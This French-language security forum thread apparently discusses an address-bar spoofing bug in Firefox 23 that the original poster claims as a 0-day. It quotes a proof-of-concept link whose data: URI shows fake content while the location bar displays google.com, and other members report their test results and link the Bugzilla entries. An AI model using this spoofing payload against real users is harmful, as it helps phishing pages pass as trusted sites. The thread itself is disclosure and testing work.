Mozilla Firefox low spoofing possible url spoofing with copy , past and go of a link

[j0-c]

J'hésite a poster des 0day moderate/high/et critical en publique sur ce forum,
y'a t il un espace private?

je poste quandmême un tout petit spoofing sur Mozilla Firefox 23 qui consiste en spoofer la barre de location avec une adresse de google mais un contenue fake(oui ba un spoofing quoi ;p ).
celui ci conciste a copier un lien et a l'exécuter dans la barre de location ,
L'erreur vient du fait que dans les dernieres version de mozilla c'est la fin de L'URL qui est afficher dans la location_bar quand celle ci est d'une certaine taille et quand bien sure celle-ci est collé puis exécuté dans la location_bar.

Code PHP :

<a href="data:text/html;html,Im not google at all<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20http://www.google.com/%20%20%20https://www.google.com/__________________________-____">COPY THE LINK and paste in the location bar and go to it</a> 


Mozilla vulnerability bug on bugzilla.mozilla.org :
https://bugzilla.mozilla.org/show_bug.cgi?id=903898
https://bugzilla.mozilla.org/show_bug.cgi?id=893312


Bon test à vous !

[gruik]

J'hésite a poster des 0day moderate/high/et critical en publique sur ce forum,
y'a t il un espace private?

disons que le forum étant lui même soumis à acceptation ça en fait une partie plus ou moins private eyes, c'est plutôt la démarche en tant que professionnel de la sécurité que je saisis moins, mais je ne vais pas m'en plaindre

[InstinctHack]

Bon test à vous !

os : GNU/Linux ; distribution Xubuntu 13.04
version : 23.0 de Firefox
Pas de beug à l'horizon donc ça as dû être corrigé dans le saut de version 22 -> 23.

(après j'ai peut-etre des modules/key de config qui modifie ce comportement...)

[0pc0deFR]

Sous Windows 7 avec la version 23.0 de Firefox le bug est bien présent.

[qtkt]

J'hésite a poster des 0day moderate/high/et critical en publique sur ce forum,
y'a t il un espace private?

[...]

Mozilla vulnerability bug on bugzilla.mozilla.org :
https://bugzilla.mozilla.org/show_bug.cgi?id=903898
https://bugzilla.mozilla.org/show_bug.cgi?id=893312

Pas vraiment une 0day vu que y'as un thread sur bugzilla...
Mais merci de l'avoir partagé !

[j0-c]

Bon test à vous !

os : GNU/Linux ; distribution Xubuntu 13.04
version : 23.0 de Firefox
Pas de beug à l'horizon donc ça as dû être corrigé dans le saut de version 22 -> 23.

(après j'ai peut-etre des modules/key de config qui modifie ce comportement...)

Comme le dit 0pcode sur windows 7 (quelque soit la version de windows enfait je pense) le bug est bien présent , ensuite j'ai pas tester sur mon ubuntu .

[Stoned]

Bien joué, en revenant aux problèmes de sécurités de Firefox, ça se résume en majorité des cas à des problèmes d'intégrations des scripts côté clients, et plus particulièrement Javascript qui n'arrête point de titiller l'oreille de notre très cher renard.

[Polo]

Bon test à vous !

os : GNU/Linux ; distribution Xubuntu 13.04
version : 23.0 de Firefox
Pas de beug à l'horizon donc ça as dû être corrigé dans le saut de version 22 -> 23.

(après j'ai peut-etre des modules/key de config qui modifie ce comportement...)

os : GNU/Linux ; Archlinux
version : 23.0 de Firefox

Bizzare, parce-que moi j'ai bien le "bug" : seul le début de l'url s'affiche, alors qu'en toute logique il devrait tout m'afficher.

[gruik]

déplacé dans la catégorie Security